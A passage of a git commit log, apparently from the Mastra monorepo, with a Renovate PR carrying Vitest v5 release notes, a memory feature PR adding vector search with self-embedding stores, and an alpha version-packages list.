- Fix `Request` with `Blob` body on jsdom 28+  -  by
[@&#8203;harshit-d3v](https://redirect.github.com/harshit-d3v) in
[#&#8203;11295](https://redirect.github.com/vitest-dev/vitest/issues/11295)
[<samp>(d1c3e)</samp>](d1c3ecc93)
- **reporter**:
- `agent` to respect `--silent`  -  by
[@&#8203;Raj4478](https://redirect.github.com/Raj4478) and
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;11271](https://redirect.github.com/vitest-dev/vitest/issues/11271)
[<samp>(5b95e)</samp>](5b95efb6d)
- **reporters**:
- Handle concurrent `createReport` calls  -  by
[@&#8203;7rulnik](https://redirect.github.com/7rulnik) in
[#&#8203;11278](https://redirect.github.com/vitest-dev/vitest/issues/11278)
[<samp>(e8e55)</samp>](e8e556ff7)
- `hanging-process` to use ESM entrypoint  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;11316](https://redirect.github.com/vitest-dev/vitest/issues/11316)
[<samp>(4e91e)</samp>](4e91e5668)
- **spy**:
- Fix stack overflow when spying `Set.prototype.add`  -  by
[@&#8203;fengmk2](https://redirect.github.com/fengmk2) in
[#&#8203;11299](https://redirect.github.com/vitest-dev/vitest/issues/11299)
[<samp>(a0a93)</samp>](a0a939653)
- **ui**:
- Persist authentication cookie beyond current browser session  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **OpenCode (gpt-5.6-sol)** in
[#&#8203;11066](https://redirect.github.com/vitest-dev/vitest/issues/11066)
[<samp>(f8819)</samp>](f88195e16)

#####     [View changes on
GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v5.0.1...v5.0.2)

###
[`v5.0.1`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v5.0.1)

[Compare
Source](https://redirect.github.com/vitest-dev/vitest/compare/v5.0.0...v5.0.1)

#####    🚀 Features

- **ui**:
- Move trace attempts selector to viewer header  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Codex** in
[#&#8203;11189](https://redirect.github.com/vitest-dev/vitest/issues/11189)
[<samp>(5dc4b)</samp>](5dc4b5c92)
- Add focused trace view layout mode  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa**, **OpenCode (gpt-5.6-sol)** and **Codex** in
[#&#8203;11190](https://redirect.github.com/vitest-dev/vitest/issues/11190)
[<samp>(376dc)</samp>](376dc3bc1)

#####    🐞 Bug Fixes

- Exit 1 when vitest list fails collection  -  by
[@&#8203;hamed-bavar](https://redirect.github.com/hamed-bavar) in
[#&#8203;11145](https://redirect.github.com/vitest-dev/vitest/issues/11145)
and
[#&#8203;11146](https://redirect.github.com/vitest-dev/vitest/issues/11146)
[<samp>(6108b)</samp>](6108b8197)
- Keep parse error details in static collection  -  by
[@&#8203;hamed-bavar](https://redirect.github.com/hamed-bavar) in
[#&#8203;11150](https://redirect.github.com/vitest-dev/vitest/issues/11150)
and
[#&#8203;11151](https://redirect.github.com/vitest-dev/vitest/issues/11151)
[<samp>(7c818)</samp>](7c818153a)
- Avoid recursive prototype in automocking  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11195](https://redirect.github.com/vitest-dev/vitest/issues/11195)
[<samp>(99fc5)</samp>](99fc52591)
- Prevent false Vitest import resolution  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11196](https://redirect.github.com/vitest-dev/vitest/issues/11196)
[<samp>(b426c)</samp>](b426c1976)
- Keep metadata file when clearing the cache  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11199](https://redirect.github.com/vitest-dev/vitest/issues/11199)
[<samp>(73614)</samp>](73614654a)
- Correct typos in error message and comments  -  by
[@&#8203;shinji00222](https://redirect.github.com/shinji00222) and
**Shinji** in
[#&#8203;11187](https://redirect.github.com/vitest-dev/vitest/issues/11187)
[<samp>(115c3)</samp>](115c3f6d2)
- Resolve ResolvedConfig exactOptionalPropertyTypes errors  -  by
[@&#8203;LukeAbby](https://redirect.github.com/LukeAbby) in
[#&#8203;11175](https://redirect.github.com/vitest-dev/vitest/issues/11175)
[<samp>(498fb)</samp>](498fbe922)
- Share the server on self-referencing `extends`  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11034](https://redirect.github.com/vitest-dev/vitest/issues/11034)
[<samp>(23dda)</samp>](23dda738c)
- Warn when deprecated `deps.optimizer.web` is used  -  by
[@&#8203;im10furry](https://redirect.github.com/im10furry) in
[#&#8203;11214](https://redirect.github.com/vitest-dev/vitest/issues/11214)
[<samp>(2ce29)</samp>](2ce29d5fa)
- **browser**:
- Avoid double quotes in `config.define`  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11198](https://redirect.github.com/vitest-dev/vitest/issues/11198)
[<samp>(972e2)</samp>](972e24bab)
- **doctor**:
- Measure vm pools for custom environments  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11212](https://redirect.github.com/vitest-dev/vitest/issues/11212)
[<samp>(91ab1)</samp>](91ab1588c)
- **expect**:
- Correct return value in `toMatchAriaSnapshot`  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11208](https://redirect.github.com/vitest-dev/vitest/issues/11208)
[<samp>(c119b)</samp>](c119be016)
- **fakeTimers**:
- Force `queueMicrotask` and `nextTick` in `toNotFake`  -  by
[@&#8203;kingmakeruix](https://redirect.github.com/kingmakeruix),
**kingmakeruix**, **Hiroshi Ogawa**, **Codex** and
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in
[#&#8203;11261](https://redirect.github.com/vitest-dev/vitest/issues/11261)
[<samp>(a47d7)</samp>](a47d7908f)
- **snapshot**:
- Report obsolete keys next to skipped tests  -  by
[@&#8203;hamed-bavar](https://redirect.github.com/hamed-bavar),
**Hiroshi Ogawa** and **OpenCode (gpt-5.6-sol)** in
[#&#8203;11157](https://redirect.github.com/vitest-dev/vitest/issues/11157)
and
[#&#8203;11158](https://redirect.github.com/vitest-dev/vitest/issues/11158)
[<samp>(17e2b)</samp>](17e2b22dd)
- **types**:
- Make public declarations self-contained  -  by
[@&#8203;ZoeySigel](https://redirect.github.com/ZoeySigel) in
[#&#8203;11141](https://redirect.github.com/vitest-dev/vitest/issues/11141)
[<samp>(45546)</samp>](455466c16)
- **ui**:
- Fix collapse/expand suite with file name search  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Codex** in
[#&#8203;11260](https://redirect.github.com/vitest-dev/vitest/issues/11260)
[<samp>(0a712)</samp>](0a7122daa)
- Fix explorer file summary count  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa**, **OpenCode (gpt-5.6-sol)** and **Codex** in
[#&#8203;11125](https://redirect.github.com/vitest-dev/vitest/issues/11125)
[<samp>(05982)</samp>](05982297d)
- **utils**:
- Fix `deepMerge` to handle prototype  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **Codex** in
[#&#8203;11215](https://redirect.github.com/vitest-dev/vitest/issues/11215)
[<samp>(4944c)</samp>](4944cf498)

#####     [View changes on
GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v5.0.0...v5.0.1)

###
[`v5.0.0`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v5.0.0)

[Compare
Source](https://redirect.github.com/vitest-dev/vitest/compare/v4.1.12...v5.0.0)

Vitest 5 is officially out! This release focuses on performance and
brings a lot of new features while fixing long-standing bugs. See our
[blog post](https://vitest.dev/blog/vitest-5.html) for the official
announcement.

#####    🚨 Breaking Changes

- Replace `loupe.inspect` with pretty-format  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Claude Opus
5 (1M context)** and **OpenAI Codex** in
[#&#8203;9609](https://redirect.github.com/vitest-dev/vitest/issues/9609)
[<samp>(3f802)</samp>](3f802da4b)
- Remove quotes from string values in `test.for/each` title `$` variable
(take 2)  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)
in
[#&#8203;10170](https://redirect.github.com/vitest-dev/vitest/issues/10170)
[<samp>(04d37)</samp>](04d37e9d7)
- Default `attachmentsDir` from `.vitest-attachements/` to
`.vitest/attachments/`  -  by
[@&#8203;MdSadiqMd](https://redirect.github.com/MdSadiqMd) in
[#&#8203;10186](https://redirect.github.com/vitest-dev/vitest/issues/10186)
[<samp>(1ba73)</samp>](1ba7338c3)
- Remove `sequential` test/suite options in favor of `concurrent`  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and **OpenAI
Codex** in
[#&#8203;10198](https://redirect.github.com/vitest-dev/vitest/issues/10198)
[<samp>(9229f)</samp>](9229f2edc)
- Represent locator as an object instead of a string  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10212](https://redirect.github.com/vitest-dev/vitest/issues/10212)
[<samp>(80f07)</samp>](80f07edf6)
- Inline `expect` package  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10221](https://redirect.github.com/vitest-dev/vitest/issues/10221)
[<samp>(ad162)</samp>](ad16223e7)
- Remove deprecated entry points  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10222](https://redirect.github.com/vitest-dev/vitest/issues/10222)
[<samp>(994c6)</samp>](994c6ddb9)
- Require Node.js 22 and Vite 6.4  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10178](https://redirect.github.com/vitest-dev/vitest/issues/10178)
[<samp>(38762)</samp>](3876283e8)
- Fail `expect.poll` when function didn't resolve in time  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and **OpenAI
Codex** in
[#&#8203;10233](https://redirect.github.com/vitest-dev/vitest/issues/10233)
[<samp>(4df04)</samp>](4df048c11)
- Throw an error if hoistable methods are outside the top level scope
 -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10460](https://redirect.github.com/vitest-dev/vitest/issues/10460)
[<samp>(d0b4f)</samp>](d0b4fddcb)
- `toHaveTextContent` is strict, add `toMatchTextContent` as alternative
 -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10473](https://redirect.github.com/vitest-dev/vitest/issues/10473)
[<samp>(18f30)</samp>](18f303079)
- Don't lookup config file from ancestor directories  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **OpenAI
Codex** and **Hiroshi Ogawa** in
[#&#8203;10428](https://redirect.github.com/vitest-dev/vitest/issues/10428)
[<samp>(945d9)</samp>](945d9090e)
- Inline `@vitest/runner` package, do not publish it anymore  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10511](https://redirect.github.com/vitest-dev/vitest/issues/10511)
[<samp>(6d6e4)</samp>](6d6e46b1e)
- Allow mutating happy-dom/jsdom window object  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **OpenAI Codex** in
[#&#8203;10373](https://redirect.github.com/vitest-dev/vitest/issues/10373)
[<samp>(206e8)</samp>](206e8cff8)
- Expose `concurrencyId`/`workerId` on TestModule's diagnostics, make id
1-based  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10516](https://redirect.github.com/vitest-dev/vitest/issues/10516)
[<samp>(bdd98)</samp>](bdd985433)
- Add `screenshotDirectory` config to `browser.expect.toMatchScreenshot`
 -  by [@&#8203;macarie](https://redirect.github.com/macarie) in
[#&#8203;10592](https://redirect.github.com/vitest-dev/vitest/issues/10592)
[<samp>(a60de)</samp>](a60ded0fb)
- Update `@sinonjs/fake-timers` and support mocking `Temporal`  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **OpenCode (gpt-5.6-sol)** in
[#&#8203;10654](https://redirect.github.com/vitest-dev/vitest/issues/10654)
[<samp>(f8b15)</samp>](f8b1532fe)
- Remove webdriverio package  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10675](https://redirect.github.com/vitest-dev/vitest/issues/10675)
[<samp>(5fed6)</samp>](5fed68f72)
- Clear mocks by default before each test  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10613](https://redirect.github.com/vitest-dev/vitest/issues/10613)
[<samp>(0f646)</samp>](0f6463bf2)
- Don't emit localStorage warnings on Node 26, fail gracefully when
worker fails to start  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10293](https://redirect.github.com/vitest-dev/vitest/issues/10293)
[<samp>(334ed)</samp>](334edef92)
- Separate config resolution from the server creation  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10554](https://redirect.github.com/vitest-dev/vitest/issues/10554)
[<samp>(1c0ec)</samp>](1c0ec3444)
- Inline projects extend the root config by default  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10750](https://redirect.github.com/vitest-dev/vitest/issues/10750)
[<samp>(fec00)</samp>](fec001ad3)
- Enable mocking Temporal without fake timers  -  by
[@&#8203;fabon-f](https://redirect.github.com/fabon-f), **Hiroshi
Ogawa** and **OpenCode (gpt-5.6-sol)** in
[#&#8203;10757](https://redirect.github.com/vitest-dev/vitest/issues/10757)
[<samp>(ac2d4)</samp>](ac2d46b42)
- Support nested projects  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10846](https://redirect.github.com/vitest-dev/vitest/issues/10846)
[<samp>(ec367)</samp>](ec367cf2a)
- Use `>` as separator in `-t`, calculate `only` once  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10686](https://redirect.github.com/vitest-dev/vitest/issues/10686)
[<samp>(a0b20)</samp>](a0b20bc86)
- Fail the test when an asynchronous assertion is not awaited  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10868](https://redirect.github.com/vitest-dev/vitest/issues/10868)
[<samp>(86d4a)</samp>](86d4a9da9)
- Share the Vite server between inline projects  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10848](https://redirect.github.com/vitest-dev/vitest/issues/10848)
[<samp>(d87c9)</samp>](d87c96ee4)
- Parse files statically in vitest list by default  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11088](https://redirect.github.com/vitest-dev/vitest/issues/11088)
[<samp>(51e94)</samp>](51e949416)
- **benchmark**:
- Rewrite the public API  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10113](https://redirect.github.com/vitest-dev/vitest/issues/10113)
[<samp>(19f6e)</samp>](19f6e8947)
- **browser**:
- Iframe scale  -  by
[@&#8203;macarie](https://redirect.github.com/macarie) in
[#&#8203;9745](https://redirect.github.com/vitest-dev/vitest/issues/9745)
[<samp>(b6398)</samp>](b639852cc)
- Enable `locators.exact` by default  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10430](https://redirect.github.com/vitest-dev/vitest/issues/10430)
[<samp>(e2032)</samp>](e203202f9)
- Require `sessionId` for orchestrator html request  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **OpenAI Codex** in
[#&#8203;10522](https://redirect.github.com/vitest-dev/vitest/issues/10522)
[<samp>(79b7d)</samp>](79b7d8fcc)
- Save failure screenshots in `attachmentsDir`  -  by
[@&#8203;macarie](https://redirect.github.com/macarie) in
[#&#8203;10917](https://redirect.github.com/vitest-dev/vitest/issues/10917)
[<samp>(3b5bb)</samp>](3b5bbd8b4)
- **coverage**:
- `include/exclude` globs too eager  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;9818](https://redirect.github.com/vitest-dev/vitest/issues/9818)
[<samp>(edacb)</samp>](edacb0fd4)
- Allow `thresholds.perFile` to accept an object  -  by
[@&#8203;vladlenskiy](https://redirect.github.com/vladlenskiy) and
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;10190](https://redirect.github.com/vitest-dev/vitest/issues/10190)
[<samp>(13b78)</samp>](13b78d98b)
- **expect**:
- Fix `toThrow("")` behavior by reverting
[#&#8203;6710](https://redirect.github.com/vitest-dev/vitest/issues/6710)
 -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in
[#&#8203;9643](https://redirect.github.com/vitest-dev/vitest/issues/9643)
and
[#&#8203;6710](https://redirect.github.com/vitest-dev/vitest/issues/6710)
[<samp>(6c3e4)</samp>](6c3e4bdbf)
- **mocker**:
- Deserialize automock as automock  -  by
[@&#8203;nami8824](https://redirect.github.com/nami8824) in
[#&#8203;10192](https://redirect.github.com/vitest-dev/vitest/issues/10192)
[<samp>(2f892)</samp>](2f892712d)
- **reporters**:
- `blob` reporter and `--merge-reports` default to `.vitest/blob/`  - 
by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;10232](https://redirect.github.com/vitest-dev/vitest/issues/10232)
[<samp>(d22b0)</samp>](d22b029ae)
- Write json and junit reporter output files to `.vitest` by default  - 
by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa**, **OpenCode (gpt-5.6-sol)** and
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;10621](https://redirect.github.com/vitest-dev/vitest/issues/10621)
[<samp>(58577)</samp>](58577290a)
- **spy**:
- Preserve class mock prototype methods on instances  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10910](https://redirect.github.com/vitest-dev/vitest/issues/10910)
[<samp>(6093d)</samp>](6093d764a)
- **types**:
- Add better promise support in expects and matchers  -  by
[@&#8203;samchungy](https://redirect.github.com/samchungy) and
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;8266](https://redirect.github.com/vitest-dev/vitest/issues/8266)
[<samp>(41f55)</samp>](41f551bce)
- **ui**:
- Harden UI API access  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Hiroshi
Ogawa** and **OpenAI Codex** in
[#&#8203;10583](https://redirect.github.com/vitest-dev/vitest/issues/10583)
[<samp>(4c26d)</samp>](4c26d7675)
- Change html reporter default output to `.vitest`  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and **Hiroshi
Ogawa** in
[#&#8203;10620](https://redirect.github.com/vitest-dev/vitest/issues/10620)
[<samp>(29c36)</samp>](29c364d50)

#####    🚀 Features

- Add `createReport` and `.vitest` report directory convention  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;9993](https://redirect.github.com/vitest-dev/vitest/issues/9993)
[<samp>(72a6d)</samp>](72a6dc257)
- Expose default reporters through `configDefaults.reporters`  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and **Claude
Opus 5 (1M context)** in
[#&#8203;10219](https://redirect.github.com/vitest-dev/vitest/issues/10219)
[<samp>(083f6)</samp>](083f6bdd6)
- Support merge reports for non-sharded multi-environment runs (take 2)
 -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa),
**Claude Opus 5 (1M context)**, **OpenAI Codex** and
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;10031](https://redirect.github.com/vitest-dev/vitest/issues/10031)
[<samp>(e60b2)</samp>](e60b2f49e)
- Add `logger.formatError`  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and **OpenAI
Codex** in
[#&#8203;10268](https://redirect.github.com/vitest-dev/vitest/issues/10268)
[<samp>(2c5f3)</samp>](2c5f3ee2f)
- Support typescript build mode  -  by
[@&#8203;lishaduck](https://redirect.github.com/lishaduck) in
[#&#8203;9870](https://redirect.github.com/vitest-dev/vitest/issues/9870)
[<samp>(106da)</samp>](106da5896)
- Add toggable `injectCjsGlobals` option  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10709](https://redirect.github.com/vitest-dev/vitest/issues/10709)
[<samp>(82671)</samp>](826714ece)
- Promote fsModuleCache to a top-level option  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10734](https://redirect.github.com/vitest-dev/vitest/issues/10734)
[<samp>(78ed7)</samp>](78ed73afd)
- Support non-ascii characters in `for/each` title placeholders  -  by
[@&#8203;k-yle](https://redirect.github.com/k-yle) in
[#&#8203;10773](https://redirect.github.com/vitest-dev/vitest/issues/10773)
[<samp>(15e0a)</samp>](15e0af953)
- Report the duration breakdown as percentages  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[#&#8203;10820](https://redirect.github.com/vitest-dev/vitest/issues/10820)
[<samp>(c67d2)</samp>](c67d296f4)
- Promote parseSpecifications out of experimental  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11087](https://redirect.github.com/vitest-dev/vitest/issues/11087)
[<samp>(b628c)</samp>](b628cb680)
- Promote clearCache out of experimental  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;11086](https://redirect.github.com/vitest-dev/vitest/issues/11086)
[<samp>(d4fe1)</samp>](d4fe1986f)
- **api**:
- Expose logs recorded during the test  -  by
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10277](https://redirect.github.com/vitest-dev/vitest/issues/10277)
[<samp>(cba20)</samp>](cba2036a1)
- **benchmark**:
- Add pluggable benchmark provider API  -  by
[@&#8203;GuillaumeLagrange](https://redirect.github.com/GuillaumeLagrange)
and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10799](https://redirect.github.com/vitest-dev/vitest/issues/10799)
[<samp>(86c70)</samp>](86c700ed8)
- **browser**:
- Export aria tree utils  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in
[#&#8203;10171](https://redirect.github.com/vitest-dev/vitest/issues/10171)
[<samp>(c3423)</samp>](c3423014c)
- Support dom snapshot trace view  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), **Claude Opus
5 (1M context)** and **OpenAI Codex** in
[#&#8203;10102](https://redirect.github.com/vitest-dev/vitest/issues/10102)
[<samp>(7eddd)</samp>](7eddd273d)
- Provide project reference in `ToMatchScreenshotResolvePath`  -  by
[@&#8203;macarie](https://redirect.github.com/macarie) and
[@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in
[#&#8203;10138](https://redirect.github.com/vitest-dev/vitest/issues/10138)
[<samp>(16654)</samp>](166544e39)
- Show aria tree on locator element error  -  by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and **OpenAI
Codex** in
[#&#8203;10257](https://redirect.github.com/vitest-dev/vitest/issues/10257)
[<samp>(04f04)</samp>](04f04cdd1)
- Support custom `kind` in `page.mark`  -  by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in

> [!IMPORTANT]
> ✂ PR body was truncated to here.


</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 6am every weekday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend Renovate
CLI](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xOTguMiIsInVwZGF0ZWRJblZlciI6IjQ0LjIwNS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhdXRvbWF0aW9uIl19-->

---------

Co-authored-by: wardpeet <ward@coding-tech.com>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
2026-11-03 20:18:21 +01:00
Dane - AI (Mastra)
47a6cd82e5
chore(deps): update ai sdk (#29242)
Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
2026-11-03 16:12:54 +01:00
Sergey Zelenov
35ab0c807b
feat(memory): observational memory search without a client-side embedder (#27005)
## Description

Follow-up to #25009. Observational Memory's `retrieval: { vector: true
}` still required an `embedder` even when the vector store generates
embeddings itself, so it didn't work with MongoDB Automated Embedding.
Now it does:

```ts
const memory = new Memory({
  storage,
  vector: new MongoDBVector({ id: 'vec', uri, dbName, autoEmbed: { model: 'voyage-4' } }),
  options: { observationalMemory: { retrieval: { vector: true } } },
})

await memory.searchMessages({ query: 'What deadline did we agree on?', resourceId: 'user-123' })
```

This builds on the `isSelfEmbedding` flag from #25009. When the store
reports it and there's no embedder, `Memory` sends text instead of
vectors. Four spots needed it: the constructor check,
`hasRetrievalSearch` (which also turns on the `recall` tool's search
mode), `indexObservation`, and `searchMessages`. Observations go into an
index called `memory_observations_selfembed`, without a dimension.
Setups that pass an `embedder` behave exactly as before.

`MongoDBVector` needed no changes. I added a live test for it in
`stores/mongodb` that indexes observations, searches them, checks the
thread and time filters, and checks that deleting a thread removes its
rows. It's opt-in (`TEST_MONGODB_AUTOEMBEDDING=1`) and I ran it against
an Atlas cluster. The rest is covered by unit tests with a mocked store.

Docs aren't in this PR. The issue asks for a separate docs ticket, so
I'll follow up there. The experimental Subconscious knowledge memory
still requires an embedder and is out of scope.

## Related issue(s)

Fixes #27002

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

Observational Memory can now search using a vector store that creates
embeddings for it. Users can enable semantic recall without setting up a
separate embedding service.

## Changes

- `@mastra/memory` accepts `retrieval: { vector: true }` without a
client-side embedder when the vector store reports `isSelfEmbedding`.
- Memory indexes observation text under `memory_observations_selfembed`
without passing a dimension. It sends search text to the store.
- Observation-vector migration reads self-embedded rows with text
queries and updates their metadata without requesting vectors.
- Configurations with a client-side embedder keep the existing
vector-based behavior.
- The recall tool’s setup message now includes stores that generate
embeddings themselves.
- Added mocked-store unit tests and an opt-in MongoDB integration suite.
The live suite requires `TEST_MONGODB_AUTOEMBEDDING=1` and either
`MONGODB_AUTOEMBED_URL` or `VOYAGE_API_KEY`. Test execution results were
not provided.
- Documentation is not included; it is planned for a separate follow-up.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Ehindero Israel <iehindero419@stu.ui.edu.ng>
2026-11-03 15:19:19 +01:00
dane-ai-mastra[bot]
886679eb10
chore: version packages (alpha) (#29205)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases

> The changelog information of each package has been omitted from this
message, as the content exceeds the size limit.

## @mastra/client-js@1.59.0-alpha.2


## @mastra/factory@0.27.0-alpha.2


## @mastra/code-sdk@1.18.0-alpha.2


## mastra@1.38.0-alpha.2


## @mastra/core@1.82.0-alpha.2


## @mastra/editor@0.17.0-alpha.2


## @mastra/server@1.82.0-alpha.2


## @mastra/clickhouse@1.29.0-alpha.1


## @mastra/duckdb@1.18.0-alpha.1


## @mastra/pg@1.35.0-alpha.2


## @mastra/platform-workspace@1.12.0-alpha.1


## @mastra/react@1.14.1-alpha.2


## @mastra/deployer-cloud@1.82.0-alpha.2


## @mastra/deployer-sandbox@0.3.26-alpha.1


## @mastra/longmemeval@1.1.41-alpha.2


## @mastra/opencode@0.1.41-alpha.2


## @mastra/parallel@0.1.5-alpha.0


## create-factory@0.4.2-alpha.2


## mastracode@0.49.0-alpha.2


## @mastra/arize@1.3.29-alpha.1


## @mastra/arthur@0.4.29-alpha.1


## @mastra/braintrust@1.3.26-alpha.1


## @mastra/datadog@1.4.21-alpha.1


## @mastra/deepeval@0.1.23-alpha.1


## @mastra/laminar@1.3.31-alpha.1


## @mastra/langfuse@1.6.5-alpha.1


## @mastra/langsmith@1.4.2-alpha.1


## @mastra/observability@1.23.1-alpha.1


## @mastra/otel-bridge@1.5.21-alpha.1


## @mastra/otel-exporter@1.5.1-alpha.1


## @mastra/posthog@1.4.6-alpha.1


## @mastra/sentry@1.2.31-alpha.2


## @mastra/agent-builder@1.1.33-alpha.2


## @mastra/deployer@1.82.0-alpha.2

